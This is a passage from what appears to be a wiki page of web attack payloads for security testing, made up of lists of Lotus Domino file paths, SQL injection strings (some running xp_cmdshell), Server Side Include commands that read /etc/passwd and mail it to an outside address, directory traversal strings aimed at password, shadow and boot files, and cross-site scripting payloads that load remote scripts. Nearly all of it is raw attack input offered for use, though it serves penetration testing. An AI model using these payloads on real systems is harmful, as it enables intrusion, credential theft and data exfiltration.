/smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> 